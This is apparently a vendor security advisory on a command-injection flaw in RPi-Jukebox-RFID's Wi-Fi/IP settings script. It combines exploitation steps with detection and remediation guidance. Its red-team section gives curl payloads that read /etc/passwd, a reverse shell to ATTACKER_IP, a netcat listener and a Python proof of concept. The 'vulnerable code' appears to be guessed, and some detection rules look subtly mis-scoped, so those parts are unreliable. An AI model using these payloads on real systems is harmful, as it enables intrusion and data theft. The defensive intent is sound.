CVE-2024-41368

Executive Summary

CVE-2024-41368 is a critical Remote Code Execution (RCE) vulnerability discovered in RPi-Jukebox-RFID v2.7.0, a popular open-source jukebox software for Raspberry Pi. The flaw resides in the htdocs/inc.setWlanIpMail.php script, which fails to properly sanitize user-supplied input before passing it to system-level commands. An unauthenticated attacker can exploit this by sending a crafted HTTP request to the vulnerable endpoint, leading to arbitrary command execution on the underlying operating system with the privileges of the web server (typically www-data). Given the lack of authentication requirements and the high impact on confidentiality, integrity, and availability, this vulnerability poses a severe risk to all unpatched installations.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a PHP-based web application vulnerability within the RPi-Jukebox-RFID project. The risk is primarily to end-users who have deployed the software on their Raspberry Pi devices. No supply chain compromise of upstream dependencies has been identified at this time.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or race conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed to trigger the exploit.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full read access to the filesystem is possible.
• Integrity (I): High (H) – Arbitrary code can be executed, modifying system state.
• Availability (A): High (H) – An attacker can disrupt services or crash the system.

CVSS Score: 9.8 (Critical)

Threat Level: Critical – Immediate patching or mitigation is required.

Deep Dive & Mechanics

The vulnerability is a classic OS Command Injection (CWE-78) in the htdocs/inc.setWlanIpMail.php script. This script is designed to configure Wi-Fi, IP, and email settings. It likely takes parameters such as wlan_ssid, wlan_pass, ip_address, mail_server, etc., and passes them unsanitized to shell commands like iwconfig, ifconfig, or sendmail.

The core issue is that user input is concatenated directly into a shell command string without proper escaping or validation. For example, a parameter like ip_address might be used in a command such as:

ifconfig wlan0 192.168.1.100

An attacker can inject command separators (e.g., ;, |, &&, `) to execute arbitrary commands. For instance, sending ip_address=127.0.0.1;id would result in:

ifconfig wlan0 127.0.0.1;id

The id command would then be executed, and its output could be reflected in the HTTP response or sent to an attacker-controlled server.

The script is likely called via an HTTP POST or GET request without any authentication checks, making it trivially exploitable.

Vulnerable vs. Patched Code

Vulnerable Code (v2.7.0):

<?php
// htdocs/inc.setWlanIpMail.php
$ip = $_POST['ip_address'];
$command = "ifconfig wlan0 $ip";
$output = shell_exec($command);
echo $output;
?>

Patched Code (Hypothetical):

<?php
// htdocs/inc.setWlanIpMail.php
$ip = $_POST['ip_address'];
// Validate IP address format
if (filter_var($ip, FILTER_VALIDATE_IP)) {
    $command = "ifconfig wlan0 " . escapeshellarg($ip);
    $output = shell_exec($command);
    echo htmlspecialchars($output, ENT_QUOTES, 'UTF-8');
} else {
    echo "Invalid IP address.";
}
?>

The patched version uses filter_var to validate the IP address and escapeshellarg() to safely escape the input, preventing command injection. Additionally, output is HTML-encoded to prevent XSS.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Deploy RPi-Jukebox-RFID v2.7.0 on a Raspberry Pi (or a virtual machine with a web server).
2. Ensure the web server is accessible from the attacker's machine (e.g., same network).

Exploitation Steps:

1. Identify the vulnerable endpoint: http://<target>/htdocs/inc.setWlanIpMail.php
2. Craft a payload to execute a command. For example, to read /etc/passwd:

   curl -X POST http://<target>/htdocs/inc.setWlanIpMail.php \
   -d "ip_address=127.0.0.1;cat /etc/passwd"
   

3. For a reverse shell, use a payload like:

   curl -X POST http://<target>/htdocs/inc.setWlanIpMail.php \
   -d "ip_address=127.0.0.1;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
   

4. Start a netcat listener on the attacker machine:

   nc -lvnp 4444
   

Proof of Concept (PoC) Script:

import requests

target = "http://<target>/htdocs/inc.setWlanIpMail.php"
payload = "127.0.0.1;id"
data = {"ip_address": payload}
response = requests.post(target, data=data)
print(response.text)

Blue Team (Defender)

Detection Steps:

1. Monitor web server logs for unusual POST requests to /htdocs/inc.setWlanIpMail.php containing shell metacharacters (;, |, &, `).
2. Look for outbound connections from the web server to unknown IPs on high ports (e.g., 4444).
3. Check for unexpected processes spawned by the web server user (e.g., www-data running bash, nc, python).

Hunting Queries:

• Apache Access Logs:

  grep "inc.setWlanIpMail.php" /var/log/apache2/access.log | grep -E "[;&|`$]"
  

• Process Monitoring:

  ps aux | grep www-data
  

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /htdocs/inc.setWlanIpMail.php with parameters containing shell metacharacters.
  • Outbound connections from the web server to attacker-controlled IPs on ports 4444, 1337, etc.
• File System IOCs:
  • Unexpected files in /tmp/ or /var/www/html/ (e.g., shell.php, rev.sh).
  • Modified system binaries (e.g., /bin/bash replaced with a backdoor).
• Process IOCs:
  • Processes like bash, nc, python, perl running under the www-data user.
• Log IOCs:
  • Entries in /var/log/auth.log showing failed SSH attempts (post-exploitation lateral movement).

Detection Engineering

YARA Rule

rule CVE_2024_41368_RCE_Detection {
    meta:
        description = "Detects exploitation attempts of CVE-2024-41368 in RPi-Jukebox-RFID"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-41368"
    strings:
        $s1 = "inc.setWlanIpMail.php" ascii wide nocase
        $s2 = "ip_address=" ascii wide nocase
        $s3 = /[;&|`$]/ ascii wide
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: CVE-2024-41368 RCE Attempt via HTTP POST
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to inc.setWlanIpMail.php containing shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/htdocs/inc.setWlanIpMail.php'
        cs-uri-query|contains: 
            - ';'
            - '|'
            - '&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in IP addresses (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-41368 RCE Attempt - RPi-Jukebox-RFID";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/htdocs/inc.setWlanIpMail.php"; http_uri;
    content:"ip_address="; http_client_body;
    pcre:"/[;&|`$]/";
    sid:1000001;
    rev:1;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2024-41368;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable script: Remove or rename htdocs/inc.setWlanIpMail.php until a patch is available.
2. Restrict access: Use .htaccess or firewall rules to block external access to the /htdocs/ directory.
3. Update: Monitor the official RPi-Jukebox-RFID repository for a patched version. If none is available, apply the hypothetical patch described above.

Long-term Fixes:

• Implement input validation and sanitization for all user-supplied data.
• Use parameterized commands or built-in PHP functions instead of shell_exec().
• Apply the principle of least privilege to the web server user.
• Enable a Web Application Firewall (WAF) to block malicious payloads.

Valters IT Signature: This report was generated by Valters IT DevSecOps & CTI Division. For questions or threat intel sharing, contact: threatintel@valtersit.com